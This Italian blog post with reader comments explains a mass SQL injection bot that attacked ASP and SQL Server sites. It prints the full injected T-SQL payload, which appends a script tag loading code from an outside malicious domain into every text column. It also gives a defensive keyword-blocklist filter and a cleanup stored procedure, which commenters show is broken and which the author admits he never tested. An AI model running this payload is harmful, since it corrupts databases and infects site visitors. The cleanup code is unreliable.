10 Commenti
Nell’ultima settimana, oltre un milione di siti sono stati attaccati da un bot che ha iniettato nei loro database un codice maligno che infetta i computer degli utenti che visitano i siti in questione.
Un attacco massiccio: se cercate su Google le stringhe www.nihaorr1.com/1.js, www.adw95.com/b.js o www.banner82.com/b.js, troverete centinaia di migliaia di siti infettati da questo maledetto programma!
Il bot utilizza gli indici di Google per trovare i siti sviluppati in ASP e tenta su ognuno di essi un attacco sql injection, andando ad appendere una serie di comandi SQL alla querystring della pagina. Ad esempio qualcosa di simile: http://www.miosito.com/default.asp?pag=4;DECLARE @S VARCHAR(4000);SET
@S=CAST...
Nello specifico, ecco l’intero codice che viene accodato all’url:
1 | DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''< scri pt src=http://www.ad w95.com/b.js>‘'’) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor |
L’effetto è devastante: ad ogni campo di ogni tabella viene aggiunto il codice <script src=http://www.adw95.com/b.js>, che verrà quindi richiamato in tutte le pagine del sito. Quando l’utente naviga nel sito, senza che se ne accorga viene caricato un javascript che a sua volta crea un iframe invisibile che carica una pagina contenente sicuramente un trojan o simile.
Sono affetti da questa vulnerabilità solamente i siti ASP che utilizzano SQL Server e quindi permettono di eseguire più query consecutive, separate col punto e virgola.
Come difendersi? Solitamente, per prevenire questo tipo di attacchi si crede sia sufficiente effettuare un replace dell’apostrofo nelle variabili da inserire nel database. In questo caso, tuttavia, l’unico modo per contrastare l’iniezione è quello di filtrare determinate parole chiave. Includete questo codice all’inizio di ogni pagina:
1 2 3 4 5 6 7 8 9 10 | dim regEx, item set regEx = New RegExp regEx.Pattern = "banner82|nihaorr1|adw95|xp_|;|--|/\*|<script|</script|ntext|nchar|nvarchar|alter|begin|create|cursor|declare|delete|drop|exec|execute|fetch|insert|kill|open|sys|sysobjects|syscolumns|table|update|varchar" regEx.IgnoreCase = true regEx.Multiline = true For Each item in Request.QueryString If regEx.test(Request.QueryString(item)) Then Response.redirect "/default.asp" End IF Next |
In pratica controlla uno ad uno tutti i parametri passati via GET e, se trova una delle parole listate, esegue il redirect alla homepage.
Chiuso l’accesso, rimane un secondo problema: bisogna ripulire tutto il database dalle stringhe incriminate! Per fare ciò, potete utilizzare la seguente stored procedure per il replace delle stringhe:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | CREATE PROC SearchTableStrReplaceg ( @SearchStr nvarchar(100), @TableStr nvarchar(100) ) AS BEGIN -- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved. -- Purpose: To search all columns of all tables for a given search string -- Written by: Narayana Vyas Kondreddi -- Site: http://vyaskn.tripod.com -- Tested on: SQL Server 7.0 and SQL Server 2000 -- Date modified: 28th July 2002 22:50 GMT CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630)) SET NOCOUNT ON DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110), @fieldlen integer SET @TableName = '' SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''') SET @fieldlen =LEN(@SearchStr2) WHILE @TableName IS NOT NULL BEGIN SET @ColumnName = '' SET @TableName = ( SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_NAME = @TableStr AND QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName AND OBJECTPROPERTY( OBJECT_ID( QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) ), 'IsMSShipped' ) = 0 ) WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL) BEGIN SET @ColumnName = ( SELECT MIN(QUOTENAME(COLUMN_NAME)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = PARSENAME(@TableName, 2) AND TABLE_NAME = PARSENAME(@TableName, 1) AND DATA_TYPE IN ('text', 'ntext') AND QUOTENAME(COLUMN_NAME) > @ColumnName ) IF @ColumnName IS NOT NULL BEGIN UPDATE VendorProducts SET @ColumnName= SUBSTRING(@ColumnName , 0,PATINDEX(@SearchStr2 , @ColumnName)-1) WHERE PATINDEX(@SearchStr2, @ColumnName) > 0 END END END SELECT ColumnName, ColumnValue FROM #Results END |
Per farla partire, chiamatela con:
GO
Chiaramente, sostituite l’url dello script con quello che vi ha attaccato.
Nota: prima fixate la vulnerabilità e solo allora ripulite il database, perchè il bot è sempre allerta: se vi ha preso di mira continuerà a bombardarvi con codici maligni e più li togliete, più lui vi attaccherà. Il primo codice che vi ho postato dovrebbe riuscire a fermarlo.
Sistemate il sito quanto prima, perchè se Google scopre che siete “portatori di maleware”, segnalerà il vostro sito come non sicuro con un antipatico: “Avviso- se visiti questo sito il tuo computer potrebbe subire danni!” che vanificherà i vostri sforzi di indicizzazione.
Credo ci sia un errore nella descrizione delle procedure:
- dici di creare la stored SearchTableStrReplaceg
- ma poi dici di eseguire la SearchAllTables
… da dove salta fuori?
Comunque ho provato ad eseguirla da MMC/query analyzer e non funziona.
Ho provato anche ad applicare le autorizzazioni di esecuzione ma le tabelle restano come prima.
Hai trovato qualcosa che non va di recente?
ciao
Luca
Non funziona nemmeno a me….
Ciao
Franz
Effettivamente non l’ho testato, è una stored procedure per il replace di stringhe che ho trovato online e presumevo funzionasse…
Il primo script in ASP invece l’ho scritto io e funziona perfettamente
Grazie per le informazioni!
Spero possano comunque tornare utili
Non funziona perchè viene fatto l’update di VendorProducts che penso sia una tabella del db da dove è stato estratto la stored procedure. Al posto di VendorProducts deve essere messa la variabile @TableName, a me ha dato comunque un errore.
Comunque secondo me il modo migliore è riprendere il codice iniettato dal bot e modicare l’update in modo che cancella la parte script ad esempio si può fare una replace(”,”)
Attenzione, ripulendo i campi rimane il problema dei testi tagliati. Il codice maligno taglia tutti i campi a 4000 caratteri, se avete campi tipo ntext il contenuto è compromesso, l’ unico modo per rimediare è prendere i backUp.
Azz, questo non lo sapevo. Grazie per la precisazione.
Certo che ha fatto davvero una strage questo dannato bot!
Salve,
vale anche per i DB in access ?? Ovvero, sono infettati anche questi ? e il codice da inserire ad inizio pagina ve bene ugualmente ??
Grazie
No, Access non presenta questa vulnerabilità, perchè non permette di eseguire query consecutive in un colpo solo.